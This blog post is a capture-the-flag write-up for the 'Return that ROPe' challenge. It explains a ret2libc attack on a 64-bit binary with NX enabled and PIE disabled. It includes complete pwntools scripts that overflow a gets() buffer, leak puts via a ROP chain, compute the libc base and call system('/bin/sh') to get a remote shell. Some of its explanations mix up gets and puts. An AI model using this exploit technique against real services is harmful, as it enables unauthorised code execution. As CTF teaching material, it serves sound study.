Jornadas 2021 CTF : Return that ROPe

Hariharan@Blog:~$
7 min readOct 20, 2021

--

INTRODUCTION

This is a basic Ret2libc attack where we need to leak an address, then check the LIBC leak database and finally use the offset to pop up the shell.

So for the newbies out there like me, First let’s get to know what a libc and ret2libc is.

The C standard library or Libc is the standard library for the C programming language . This is where we can access common functions used inside program such as system() , puts() , gets()

What is Ret2libc? A ret2libc (Return to Libc, or return to the C library) attack is one in which the attacker does not require any shellcode to take control of a target, vulnerable process.

I’ll explain the process while solving the challenge. Also for more understanding, see my basic Ret2libc writeup :)

https://corruptedprotocol.medium.com/elf-x86-stack-buffer-overflow-basic-6-rootme-app-system-introduction-to-ret2libc-83945accc435

CHALLENGE

First, we need to see what type of file the binary is and the memory protection in the binary.

We can see that the NX bit is enabled, so we cannot execute anything from the stack. Fortunately PIE is disabled in this binary. So we can trust the values in the .plt and .got section. We will come to that later.

I used ghidra to see the decompiled version of the binary

We have a vulnerable gets which we can use to leak addresses. First I used gdb-peda to find the value to buffer overflow and use the RIP/Return address.

We can see “A)AAEAAa” has been overwritten in EBP. So we could just find the offset and add 8 to it.

So 40 junk values are required to buffer overflow and reach the RIP/Return address. Next, we need to know the Libc base address to perform the Ret2libc attack. For this, we need to see the .plt and .got sections. Remember PIE was disabled? If PIE is enabled, the .plt and .got section would change their address every time we execute the binary.

WHAT IS THE DIFFERENCE BETWEEN GOT AND PLT ?

The Global Offset Table (or GOT) is a section inside of programs that holds addresses of functions that are dynamically linked

PLT stands for Procedure Linkage Table which is, put simply, used to call external procedures/functions whose address isn’t known in the time of linking, and is left to be resolved by the dynamic linker at run time.

The definitions are not enough and you need to know more about them to continue with the attack. I’ll try explaining this in short. We use functions like puts() , gets() , scanf() etc … in our program. But functions themselves have some inner definition to work properly. These are present in the Libc file. When we compile the binary, the Libc will get linked dynamically to this binary.

The first time these functions ( gets, scanf, etc…) are called in the program, there is an entry in PLT for this function. This is a pointer pointing to an address in GOT. GOT has the address pointing to the function directly in the Libc. So next time the function gets() or other functions is called, It doesn’t need to go into Libc for this , rather it will use the PLT to get the function address easily. This saves a lot of time!

I hope you understood this clearly. Moving on to the next part which is leaking the libc address with PLT and GOT.

Leaking LIBC

Now that we know GOT points to Libc addresses and we can use functions like puts() and scanf() directly by using the address at the PLT section, we slowly build our exploit. This is what we will be doing: Take input of any address in GOT. For example, we can take gets() at GOT.

To take this input, we use puts()@ PLT directly just like our program would do. This prints the leaked address of gets() in libc.

But calling the gets()@got is not something you can do directly in x86_64. We do have a calling convention for this. The gets()@got address has to be loaded into the RDI register before puts() is called. For this, we need to use Ropgadget or Ropper to get “pop rdi”. We find one easily in our binary.

We are ready for the first part of the exploit. We just have to get the perfect address now.

That’s the puts@plt address. disassemble that and we can get puts@got.

Now that we have all the addresses, we can craft our exploit.I am using pwntools to make my life easier :)

from pwn import *#p = remote("challenges.ctf.cert.rcts.pt", 34091)overwrite = b"A"*40pop_rdi = 0x00000000004011fb
ret = 0x0000000000401016
puts_at_plt = 0x401030
puts_at_got = 0x404018
safe_point_main = 0x0000000000401179payload = overwrite + p64(pop_rdi) + p64(puts_at_got) + p64(puts_at_plt) + p64(safe_point_main) # Using safe_point to return back to main and not crash somewhere.p.recvuntil(b"Can you ROP it?\n")
p.sendline(payload)
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, b"\x00"))
log.info(f"Libc leak : {hex(leak)}")

Executing this will give me this output

We have successfully leaked the address out of libc! Now to get the base address of libc we could just subtract the gets() with the leaked address. We can find the libc. To find the leak address match, we could use the database to see this offset. Remember always the last 3 digits of the leaked address will never change. Here is the website for the database https://libc.blukat.me/

using the offset in the libc.

We just have to call the system and (/bin/sh) as a parameter. For this, we use the calling convention pop rdi to load /bin/sh into rdi before calling the system().

Now, we have the system and /bin/sh address too from the database.

puts_offset = 0x080aa0
system = 0x04f550
bin_sh = 0x1b3e1a
libc_base = leak - puts_offset
system = libc_base + system
bin_sh = libc_base + bin_sh
log.info("Base address of libc: " + str(hex(libc_base)))
log.info("Real address of system in libc: " + str(hex(system)))
log.info("Real address of sh in libc: " + str(hex(bin_sh)))

We craft our second payload and execute to pop a shell. Here is the full code for this challenge.

from pwn import *context.log_level = 'debug'p = remote("challenges.ctf.cert.rcts.pt", 40548)
#libc = ELF("libc6_2.27-3ubuntu1.4_amd64.so") # leaked address from database
overwrite = b"A"*40pop_rdi = 0x00000000004011fb
ret = 0x0000000000401016
puts_at_plt = 0x401030
puts_at_got = 0x404018
safe_point_main = 0x0000000000401179# Got from database
puts_offset = 0x080aa0
system = 0x04f550
bin_sh = 0x1b3e1a
payload = overwrite + p64(ret) + p64(pop_rdi) + p64(puts_at_got) + p64(puts_at_plt) + p64(safe_point_main)p.recvuntil(b"Can you ROP it?\n")
p.sendline(payload)
#print(p.recvline())
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, b"\x00"))
log.info(f"Libc leak : {hex(leak)}")
libc_base = leak - puts_offset
system = libc_base + system
bin_sh = libc_base + bin_sh
log.info("Base address of libc: " + str(hex(libc_base)))
log.info("Real address of system in libc: " + str(hex(system)))
log.info("Real address of sh in libc: " + str(hex(bin_sh)))
payload2 = overwrite + p64(pop_rdi) + p64(bin_sh) + p64(system)p.recvuntil(b"Can you ROP it?\n")
p.sendline(payload2)
p.interactive()

Executing the above script will give us the shell. Searching in the machine’s most obvious place will get you the flag.

Hope you understood the challenge. Do check out my other blogs.

Don’t forget to give some claps if you reached here :) Follow me for more write-ups.

Goodbye:)

--

--